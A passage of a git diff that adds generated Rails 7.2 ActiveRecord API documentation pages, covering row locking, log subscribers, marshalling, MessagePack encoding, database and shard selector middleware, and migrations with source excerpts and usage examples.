You can also use ActiveRecord::Base#lock! method to lock one record by id. This may be better if you don’t need to lock every row. Example:

+ +
Account.transaction do
+  # select * from accounts where ...
+  accounts = Account.where(...)
+  account1 = accounts.detect { |account| ... }
+  account2 = accounts.detect { |account| ... }
+  # select * from accounts where id=? for update
+  account1.lock!
+  account2.lock!
+  account1.balance -= 100
+  account1.save!
+  account2.balance += 100
+  account2.save!
+end
+
+ +

You can start a transaction and acquire the lock in one go by calling with_lock with a block. The block is called from within a transaction, the object is already locked. Example:

+ +
account = Account.first
+account.with_lock do
+  # This block is called within a transaction,
+  # account is already locked.
+  account.balance -= 100
+  account.save!
+end
+
+ +

Database-specific information on row locking:

+
MySQL +
+

dev.mysql.com/doc/refman/en/innodb-locking-reads.html

+
PostgreSQL +
+

www.postgresql.org/docs/current/interactive/sql-select.html#SQL-FOR-UPDATE-SHARE

+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + lock!(lock = true) + +

+ + +
+

Obtain a row lock on this record. Reloads the record to obtain the requested lock. Pass an SQL locking clause to append the end of the SELECT statement or pass true for β€œFOR UPDATE” (the default, an exclusive row lock). Returns the locked record.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/locking/pessimistic.rb, line 69
+      def lock!(lock = true)
+        if persisted?
+          if has_changes_to_save?
+            raise(<<-MSG.squish)
+              Locking a record with unpersisted changes is not supported. Use
+              `save` to persist the changes, or `reload` to discard them
+              explicitly.
+              Changed attributes: #{changed.map(&:inspect).join(', ')}.
+            MSG
+          end
+
+          reload(lock: lock)
+        end
+        self
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + with_lock(*args) + +

+ + +
+

Wraps the passed block in a transaction, reloading the object with a lock before yielding. You can pass the SQL locking clause as an optional argument (see lock!).

+ +

You can also pass options like requires_new:, isolation:, and joinable: to the wrapping transaction (see ActiveRecord::ConnectionAdapters::DatabaseStatements#transaction).

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/locking/pessimistic.rb, line 92
+      def with_lock(*args)
+        transaction_opts = args.extract_options!
+        lock = args.present? ? args.first : true
+        transaction(**transaction_opts) do
+          lock!(lock)
+          yield
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/LogSubscriber.html b/src/7.2/classes/ActiveRecord/LogSubscriber.html new file mode 100644 index 0000000000..f437df989d --- /dev/null +++ b/src/7.2/classes/ActiveRecord/LogSubscriber.html @@ -0,0 +1,200 @@ +--- +title: ActiveRecord::LogSubscriber +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
IGNORE_PAYLOAD_NAMES=["SCHEMA", "EXPLAIN"]
+ + + + + + + +

Instance Public methods

+ +
+

+ + sql(event) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/log_subscriber.rb, line 18
+    def sql(event)
+      payload = event.payload
+
+      return if IGNORE_PAYLOAD_NAMES.include?(payload[:name])
+
+      name = if payload[:async]
+        "ASYNC #{payload[:name]} (#{payload[:lock_wait].round(1)}ms) (db time #{event.duration.round(1)}ms)"
+      else
+        "#{payload[:name]} (#{event.duration.round(1)}ms)"
+      end
+      name  = "CACHE #{name}" if payload[:cached]
+      sql   = payload[:sql]
+      binds = nil
+
+      if payload[:binds]&.any?
+        casted_params = type_casted_binds(payload[:type_casted_binds])
+
+        binds = []
+        payload[:binds].each_with_index do |attr, i|
+          attribute_name = if attr.respond_to?(:name)
+            attr.name
+          elsif attr.respond_to?(:[]) && attr[i].respond_to?(:name)
+            attr[i].name
+          else
+            nil
+          end
+
+          filtered_params = filter(attribute_name, casted_params[i])
+
+          binds << render_bind(attr, filtered_params)
+        end
+        binds = binds.inspect
+        binds.prepend("  ")
+      end
+
+      name = colorize_payload_name(name, payload[:name])
+      sql  = color(sql, sql_color(sql), bold: true) if colorize_logging
+
+      debug "  #{name}  #{sql}#{binds}"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + strict_loading_violation(event) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/log_subscriber.rb, line 9
+    def strict_loading_violation(event)
+      debug do
+        owner = event.payload[:owner]
+        reflection = event.payload[:reflection]
+        color(reflection.strict_loading_violation_message(owner), RED)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Marshalling.html b/src/7.2/classes/ActiveRecord/Marshalling.html new file mode 100644 index 0000000000..15d86953f6 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Marshalling.html @@ -0,0 +1,136 @@ +--- +title: ActiveRecord::Marshalling +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + format_version
+ + + + +

Class Public methods

+ +
+

+ + format_version=(version) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/marshalling.rb, line 10
+      def format_version=(version)
+        case version
+        when 6.1
+          Methods.remove_method(:marshal_dump) if Methods.method_defined?(:marshal_dump)
+        when 7.1
+          Methods.alias_method(:marshal_dump, :_marshal_dump_7_1)
+        else
+          raise ArgumentError, "Unknown marshalling format: #{version.inspect}"
+        end
+        @format_version = version
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Marshalling/Methods.html b/src/7.2/classes/ActiveRecord/Marshalling/Methods.html new file mode 100644 index 0000000000..afbb48ec9a --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Marshalling/Methods.html @@ -0,0 +1,166 @@ +--- +title: ActiveRecord::Marshalling::Methods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + _marshal_dump_7_1() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/marshalling.rb, line 24
+      def _marshal_dump_7_1
+        payload = [attributes_for_database, new_record?]
+
+        cached_associations = self.class.reflect_on_all_associations.select do |reflection|
+          if association_cached?(reflection.name)
+            association = association(reflection.name)
+            association.loaded? || association.target.present?
+          end
+        end
+
+        unless cached_associations.empty?
+          payload << cached_associations.map do |reflection|
+            [reflection.name, association(reflection.name).target]
+          end
+        end
+
+        payload
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + marshal_load(state) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/marshalling.rb, line 43
+      def marshal_load(state)
+        attributes_from_database, new_record, associations = state
+
+        attributes = self.class.attributes_builder.build_from_database(attributes_from_database)
+        init_with_attributes(attributes, new_record)
+
+        if associations
+          associations.each do |name, target|
+            association(name).target = target
+          rescue ActiveRecord::AssociationNotFoundError
+            # the association no longer exist, we can just skip it.
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/MessagePack.html b/src/7.2/classes/ActiveRecord/MessagePack.html new file mode 100644 index 0000000000..1b65b2ec06 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/MessagePack.html @@ -0,0 +1,78 @@ +--- +title: ActiveRecord::MessagePack +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/MessagePack/Decoder.html b/src/7.2/classes/ActiveRecord/MessagePack/Decoder.html new file mode 100644 index 0000000000..17bf9a2f43 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/MessagePack/Decoder.html @@ -0,0 +1,243 @@ +--- +title: ActiveRecord::MessagePack::Decoder +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(entries) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/message_pack.rb, line 91
+      def initialize(entries)
+        @records = entries.map { |entry| build_record(entry) }
+        @records.zip(entries) { |record, entry| resolve_cached_associations(record, entry) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + build_record(entry) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/message_pack.rb, line 104
+      def build_record(entry)
+        class_name, attributes_hash, is_new_record, * = entry
+        klass = ActiveSupport::MessagePack::Extensions.load_class(class_name)
+        attributes = klass.attributes_builder.build_from_database(attributes_hash)
+        klass.allocate.init_with_attributes(attributes, is_new_record)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + decode(ref) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/message_pack.rb, line 96
+      def decode(ref)
+        if ref.is_a?(Array)
+          ref.map { |r| @records[r] }
+        elsif ref
+          @records[ref]
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + resolve_cached_associations(record, entry) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/message_pack.rb, line 111
+      def resolve_cached_associations(record, entry)
+        i = 3 # entry == [class_name, attributes_hash, is_new_record, *associations]
+        while i < entry.length
+          begin
+            record.association(entry[i]).target = decode(entry[i + 1])
+          rescue ActiveRecord::AssociationNotFoundError
+            # The association no longer exists, so just skip it.
+          end
+          i += 2
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/MessagePack/Encoder.html b/src/7.2/classes/ActiveRecord/MessagePack/Encoder.html new file mode 100644 index 0000000000..9d041a0096 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/MessagePack/Encoder.html @@ -0,0 +1,301 @@ +--- +title: ActiveRecord::MessagePack::Encoder +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + entries
+ + + + +

Class Public methods

+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/message_pack.rb, line 48
+      def initialize
+        @entries = []
+        @refs = {}.compare_by_identity
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + add_cached_associations(record, entry) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/message_pack.rb, line 81
+      def add_cached_associations(record, entry)
+        record.class.normalized_reflections.each_value do |reflection|
+          if record.association_cached?(reflection.name) && record.association(reflection.name).loaded?
+            entry << reflection.name << encode(record.association(reflection.name).target)
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + build_entry(record) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/message_pack.rb, line 73
+      def build_entry(record)
+        [
+          ActiveSupport::MessagePack::Extensions.dump_class(record.class),
+          record.attributes_for_database,
+          record.new_record?
+        ]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + encode(input) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/message_pack.rb, line 53
+      def encode(input)
+        if input.is_a?(Array)
+          input.map { |record| encode_record(record) }
+        elsif input
+          encode_record(input)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + encode_record(record) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/message_pack.rb, line 61
+      def encode_record(record)
+        ref = @refs[record]
+
+        if !ref
+          ref = @refs[record] = @entries.size
+          @entries << build_entry(record)
+          add_cached_associations(record, @entries.last)
+        end
+
+        ref
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/MessagePack/Extensions.html b/src/7.2/classes/ActiveRecord/MessagePack/Extensions.html new file mode 100644 index 0000000000..99924aecff --- /dev/null +++ b/src/7.2/classes/ActiveRecord/MessagePack/Extensions.html @@ -0,0 +1,186 @@ +--- +title: ActiveRecord::MessagePack::Extensions +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + install(registry) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/message_pack.rb, line 25
+      def install(registry)
+        registry.register_type 119, ActiveModel::Type::Binary::Data,
+          packer: :to_s,
+          unpacker: :new
+
+        registry.register_type 120, ActiveRecord::Base,
+          packer: method(:write_record),
+          unpacker: method(:read_record),
+          recursive: true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + read_record(unpacker) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/message_pack.rb, line 40
+      def read_record(unpacker)
+        ActiveRecord::MessagePack.load(unpacker.read)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + write_record(record, packer) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/message_pack.rb, line 36
+      def write_record(record, packer)
+        packer.write(ActiveRecord::MessagePack.dump(record))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Middleware.html b/src/7.2/classes/ActiveRecord/Middleware.html new file mode 100644 index 0000000000..007d879def --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Middleware.html @@ -0,0 +1,79 @@ +--- +title: ActiveRecord::Middleware +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Middleware/DatabaseSelector.html b/src/7.2/classes/ActiveRecord/Middleware/DatabaseSelector.html new file mode 100644 index 0000000000..1d3fed92a3 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Middleware/DatabaseSelector.html @@ -0,0 +1,227 @@ +--- +title: ActiveRecord::Middleware::DatabaseSelector +layout: default +--- +
+ +
+
+ +
+ +

Database Selector Middleware

+ +

The DatabaseSelector Middleware provides a framework for automatically swapping from the primary to the replica database connection. Rails provides a basic framework to determine when to swap and allows for applications to write custom strategy classes to override the default behavior.

+ +

The resolver class defines when the application should switch (i.e. read from the primary if a write occurred less than 2 seconds ago) and a resolver context class that sets a value that helps the resolver class decide when to switch.

+ +

Rails default middleware uses the request’s session to set a timestamp that informs the application when to read from a primary or read from a replica.

+ +

To use the DatabaseSelector in your application with default settings, run the provided generator.

+ +
$ bin/rails g active_record:multi_db
+
+ +

This will create a file named config/initializers/multi_db.rb with the following contents:

+ +
Rails.application.configure do
+  config.active_record.database_selector = { delay: 2.seconds }
+  config.active_record.database_resolver = ActiveRecord::Middleware::DatabaseSelector::Resolver
+  config.active_record.database_resolver_context = ActiveRecord::Middleware::DatabaseSelector::Resolver::Session
+end
+
+ +

Alternatively you can set the options in your environment config or any other config file loaded on boot.

+ +

The default behavior can be changed by setting the config options to a custom class:

+ +
config.active_record.database_selector = { delay: 2.seconds }
+config.active_record.database_resolver = MyResolver
+config.active_record.database_resolver_context = MyResolver::MySession
+
+ +

Note: If you are using rails new my_app --minimal you will need to call require "active_support/core_ext/integer/time" to load the core extension in order to use 2.seconds

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + +
+ [R] + context_klass
+ [R] + options
+ [R] + resolver_klass
+ + + + +

Class Public methods

+ +
+

+ + new(app, resolver_klass = nil, context_klass = nil, options = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/middleware/database_selector.rb, line 52
+      def initialize(app, resolver_klass = nil, context_klass = nil, options = {})
+        @app = app
+        @resolver_klass = resolver_klass || Resolver
+        @context_klass = context_klass || Resolver::Session
+        @options = options
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + call(env) + +

+ + +
+

Middleware that determines which database connection to use in a multiple database application.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/middleware/database_selector.rb, line 63
+      def call(env)
+        request = ActionDispatch::Request.new(env)
+
+        select_database(request) do
+          @app.call(env)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Middleware/ShardSelector.html b/src/7.2/classes/ActiveRecord/Middleware/ShardSelector.html new file mode 100644 index 0000000000..ca5f152818 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Middleware/ShardSelector.html @@ -0,0 +1,203 @@ +--- +title: ActiveRecord::Middleware::ShardSelector +layout: default +--- +
+ +
+
+ +
+ +

Shard Selector Middleware

+ +

The ShardSelector Middleware provides a framework for automatically swapping shards. Rails provides a basic framework to determine which shard to switch to and allows for applications to write custom strategies for swapping if needed.

+ +

The ShardSelector takes a set of options (currently only lock is supported) that can be used by the middleware to alter behavior. lock is true by default and will prohibit the request from switching shards once inside the block. If lock is false, then shard swapping will be allowed. For tenant based sharding, lock should always be true to prevent application code from mistakenly switching between tenants.

+ +

Options can be set in the config:

+ +
config.active_record.shard_selector = { lock: true }
+
+ +

Applications must also provide the code for the resolver as it depends on application specific models. An example resolver would look like this:

+ +
config.active_record.shard_resolver = ->(request) {
+  subdomain = request.subdomain
+  tenant = Tenant.find_by_subdomain!(subdomain)
+  tenant.shard
+}
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + options
+ [R] + resolver
+ + + + +

Class Public methods

+ +
+

+ + new(app, resolver, options = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/middleware/shard_selector.rb, line 32
+      def initialize(app, resolver, options = {})
+        @app = app
+        @resolver = resolver
+        @options = options
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + call(env) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/middleware/shard_selector.rb, line 40
+      def call(env)
+        request = ActionDispatch::Request.new(env)
+
+        shard = selected_shard(request)
+
+        set_shard(shard) do
+          @app.call(env)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Migration.html b/src/7.2/classes/ActiveRecord/Migration.html new file mode 100644 index 0000000000..58f8253d6f --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Migration.html @@ -0,0 +1,1774 @@ +--- +title: ActiveRecord::Migration +layout: default +--- +
+ +
+
+ +
+ +

Active Record Migrations

+ +

Migrations can manage the evolution of a schema used by several physical databases. It’s a solution to the common problem of adding a field to make a new feature work in your local database, but being unsure of how to push that change to other developers and to the production server. With migrations, you can describe the transformations in self-contained classes that can be checked into version control systems and executed against another database that might be one, two, or five versions behind.

+ +

Example of a simple migration:

+ +
class AddSsl < ActiveRecord::Migration[7.2]
+  def up
+    add_column :accounts, :ssl_enabled, :boolean, default: true
+  end
+
+  def down
+    remove_column :accounts, :ssl_enabled
+  end
+end
+
+ +

This migration will add a boolean flag to the accounts table and remove it if you’re backing out of the migration. It shows how all migrations have two methods up and down that describes the transformations required to implement or remove the migration. These methods can consist of both the migration specific methods like add_column and remove_column, but may also contain regular Ruby code for generating data needed for the transformations.

+ +

Example of a more complex migration that also needs to initialize data:

+ +
class AddSystemSettings < ActiveRecord::Migration[7.2]
+  def up
+    create_table :system_settings do |t|
+      t.string  :name
+      t.string  :label
+      t.text    :value
+      t.string  :type
+      t.integer :position
+    end
+
+    SystemSetting.create  name:  'notice',
+                          label: 'Use notice?',
+                          value: 1
+  end
+
+  def down
+    drop_table :system_settings
+  end
+end
+
+ +

This migration first adds the system_settings table, then creates the very first row in it using the Active Record model that relies on the table. It also uses the more advanced create_table syntax where you can specify a complete table schema in one block call.

+ +

Available transformations

+ +

Creation

+
  • +

    create_join_table(table_1, table_2, options): Creates a join table having its name as the lexical order of the first two arguments. See ActiveRecord::ConnectionAdapters::SchemaStatements#create_join_table for details.

    +
  • +

    create_table(name, options): Creates a table called name and makes the table object available to a block that can then add columns to it, following the same format as add_column. See example above. The options hash is for fragments like β€œDEFAULT CHARSET=UTF-8” that are appended to the create table definition.

    +
  • +

    add_column(table_name, column_name, type, options): Adds a new column to the table called table_name named column_name specified to be one of the following types: :string, :text, :integer, :float, :decimal, :datetime, :timestamp, :time, :date, :binary, :boolean. A default value can be specified by passing an options hash like { default: 11 }. Other options include :limit and :null (e.g. { limit: 50, null: false }) – see ActiveRecord::ConnectionAdapters::TableDefinition#column for details.

    +
  • +

    add_foreign_key(from_table, to_table, options): Adds a new foreign key. from_table is the table with the key column, to_table contains the referenced primary key.

    +
  • +

    add_index(table_name, column_names, options): Adds a new index with the name of the column. Other options include :name, :unique (e.g. { name: 'users_name_index', unique: true }) and :order (e.g. { order: { name: :desc } }).

    +
  • +

    add_reference(:table_name, :reference_name): Adds a new column reference_name_id by default an integer. See ActiveRecord::ConnectionAdapters::SchemaStatements#add_reference for details.

    +
  • +

    add_timestamps(table_name, options): Adds timestamps (created_at and updated_at) columns to table_name.

    +
+ +

Modification

+
  • +

    change_column(table_name, column_name, type, options): Changes the column to a different type using the same parameters as add_column.

    +
  • +

    change_column_default(table_name, column_name, default_or_changes): Sets a default value for column_name defined by default_or_changes on table_name. Passing a hash containing :from and :to as default_or_changes will make this change reversible in the migration.

    +
  • +

    change_column_null(table_name, column_name, null, default = nil): Sets or removes a NOT NULL constraint on column_name. The null flag indicates whether the value can be NULL. See ActiveRecord::ConnectionAdapters::SchemaStatements#change_column_null for details.

    +
  • +

    change_table(name, options): Allows to make column alterations to the table called name. It makes the table object available to a block that can then add/remove columns, indexes, or foreign keys to it.

    +
  • +

    rename_column(table_name, column_name, new_column_name): Renames a column but keeps the type and content.

    +
  • +

    rename_index(table_name, old_name, new_name): Renames an index.

    +
  • +

    rename_table(old_name, new_name): Renames the table called old_name to new_name.

    +
+ +

Deletion

+
  • +

    drop_table(name): Drops the table called name.

    +
  • +

    drop_join_table(table_1, table_2, options): Drops the join table specified by the given arguments.

    +
  • +

    remove_column(table_name, column_name, type, options): Removes the column named column_name from the table called table_name.

    +
  • +

    remove_columns(table_name, *column_names): Removes the given columns from the table definition.

    +
  • +

    remove_foreign_key(from_table, to_table = nil, **options): Removes the given foreign key from the table called table_name.

    +
  • +

    remove_index(table_name, column: column_names): Removes the index specified by column_names.

    +
  • +

    remove_index(table_name, name: index_name): Removes the index specified by index_name.

    +
  • +

    remove_reference(table_name, ref_name, options): Removes the reference(s) on table_name specified by ref_name.

    +
  • +

    remove_timestamps(table_name, options): Removes the timestamp columns (created_at and updated_at) from the table definition.

    +
+ +

Irreversible transformations

+ +

Some transformations are destructive in a manner that cannot be reversed. Migrations of that kind should raise an ActiveRecord::IrreversibleMigration exception in their down method.

+ +

Running migrations from within Rails

+ +

The Rails package has several tools to help create and apply migrations.

+ +

To generate a new migration, you can use

+ +
$ bin/rails generate migration MyNewMigration
+
+ +

where MyNewMigration is the name of your migration. The generator will create an empty migration file timestamp_my_new_migration.rb in the db/migrate/ directory where timestamp is the UTC formatted date and time that the migration was generated.

+ +

There is a special syntactic shortcut to generate migrations that add fields to a table.

+ +
$ bin/rails generate migration add_fieldname_to_tablename fieldname:string
+
+ +

This will generate the file timestamp_add_fieldname_to_tablename.rb, which will look like this:

+ +
class AddFieldnameToTablename < ActiveRecord::Migration[7.2]
+  def change
+    add_column :tablenames, :fieldname, :string
+  end
+end
+
+ +

To run migrations against the currently configured database, use bin/rails db:migrate. This will update the database by running all of the pending migrations, creating the schema_migrations table (see β€œAbout the schema_migrations table” section below) if missing. It will also invoke the db:schema:dump command, which will update your db/schema.rb file to match the structure of your database.

+ +

To roll the database back to a previous migration version, use bin/rails db:rollback VERSION=X where X is the version to which you wish to downgrade. Alternatively, you can also use the STEP option if you wish to rollback last few migrations. bin/rails db:rollback STEP=2 will rollback the latest two migrations.

+ +

If any of the migrations throw an ActiveRecord::IrreversibleMigration exception, that step will fail and you’ll have some manual work to do.

+ +

More examples

+ +

Not all migrations change the schema. Some just fix the data:

+ +
class RemoveEmptyTags < ActiveRecord::Migration[7.2]
+  def up
+    Tag.all.each { |tag| tag.destroy if tag.pages.empty? }
+  end
+
+  def down
+    # not much we can do to restore deleted data
+    raise ActiveRecord::IrreversibleMigration, "Can't recover the deleted tags"
+  end
+end
+
+ +

Others remove columns when they migrate up instead of down:

+ +
class RemoveUnnecessaryItemAttributes < ActiveRecord::Migration[7.2]
+  def up
+    remove_column :items, :incomplete_items_count
+    remove_column :items, :completed_items_count
+  end
+
+  def down
+    add_column :items, :incomplete_items_count
+    add_column :items, :completed_items_count
+  end
+end
+
+ +

And sometimes you need to do something in SQL not abstracted directly by migrations:

+ +
class MakeJoinUnique < ActiveRecord::Migration[7.2]
+  def up
+    execute "ALTER TABLE `pages_linked_pages` ADD UNIQUE `page_id_linked_page_id` (`page_id`,`linked_page_id`)"
+  end
+
+  def down
+    execute "ALTER TABLE `pages_linked_pages` DROP INDEX `page_id_linked_page_id`"
+  end
+end
+
+ +

Using a model after changing its table

+ +

Sometimes you’ll want to add a column in a migration and populate it immediately after. In that case, you’ll need to make a call to Base#reset_column_information in order to ensure that the model has the latest column data from after the new column was added. Example:

+ +
class AddPeopleSalary < ActiveRecord::Migration[7.2]
+  def up
+    add_column :people, :salary, :integer
+    Person.reset_column_information
+    Person.all.each do |p|
+      p.update_attribute :salary, SalaryCalculator.compute(p)
+    end
+  end
+end
+
+ +

Controlling verbosity

+ +

By default, migrations will describe the actions they are taking, writing them to the console as they happen, along with benchmarks describing how long each step took.

+ +

You can quiet them down by setting ActiveRecord::Migration.verbose = false.

+ +

You can also insert your own messages and benchmarks by using the say_with_time method:

+ +
def up
+  ...
+  say_with_time "Updating salaries..." do
+    Person.all.each do |p|
+      p.update_attribute :salary, SalaryCalculator.compute(p)
+    end
+  end
+  ...
+end
+
+ +

The phrase β€œUpdating salaries…” would then be printed, along with the benchmark for the block when the block completes.

+ +

Timestamped Migrations

+ +

By default, Rails generates migrations that look like:

+ +
20080717013526_your_migration_name.rb
+
+ +

The prefix is a generation timestamp (in UTC). Timestamps should not be modified manually. To validate that migration timestamps adhere to the format Active Record expects, you can use the following configuration option:

+ +
config.active_record.validate_migration_timestamps = true
+
+ +

If you’d prefer to use numeric prefixes, you can turn timestamped migrations off by setting:

+ +
config.active_record.timestamped_migrations = false
+
+ +

In application.rb.

+ +

Reversible Migrations

+ +

Reversible migrations are migrations that know how to go down for you. You simply supply the up logic, and the Migration system figures out how to execute the down commands for you.

+ +

To define a reversible migration, define the change method in your migration like this:

+ +
class TenderloveMigration < ActiveRecord::Migration[7.2]
+  def change
+    create_table(:horses) do |t|
+      t.column :content, :text
+      t.column :remind_at, :datetime
+    end
+  end
+end
+
+ +

This migration will create the horses table for you on the way up, and automatically figure out how to drop the table on the way down.

+ +

Some commands cannot be reversed. If you care to define how to move up and down in these cases, you should define the up and down methods as before.

+ +

If a command cannot be reversed, an ActiveRecord::IrreversibleMigration exception will be raised when the migration is moving down.

+ +

For a list of commands that are reversible, please see ActiveRecord::Migration::CommandRecorder.

+ +

Transactional Migrations

+ +

If the database adapter supports DDL transactions, all migrations will automatically be wrapped in a transaction. There are queries that you can’t execute inside a transaction though, and for these situations you can turn the automatic transactions off.

+ +
class ChangeEnum < ActiveRecord::Migration[7.2]
+  disable_ddl_transaction!
+
+  def up
+    execute "ALTER TYPE model_size ADD VALUE 'new_value'"
+  end
+end
+
+ +

Remember that you can still open your own transactions, even if you are in a Migration with self.disable_ddl_transaction!.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [RW] + name
+ [RW] + version
+ + + + +

Class Public methods

+ +
+

+ + [](version) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/migration.rb, line 632
+    def self.[](version)
+      Compatibility.find(version)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + check_all_pending!() + +

+ + +
+

Raises ActiveRecord::PendingMigrationError error if any migrations are pending for all database configurations in an environment.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/migration.rb, line 700
+      def check_all_pending!
+        pending_migrations = []
+
+        ActiveRecord::Tasks::DatabaseTasks.with_temporary_pool_for_each(env: env) do |pool|
+          if pending = pool.migration_context.open.pending_migrations
+            pending_migrations << pending
+          end
+        end
+
+        migrations = pending_migrations.flatten
+
+        if migrations.any?
+          raise ActiveRecord::PendingMigrationError.new(pending_migrations: migrations)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + current_version() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/migration.rb, line 636
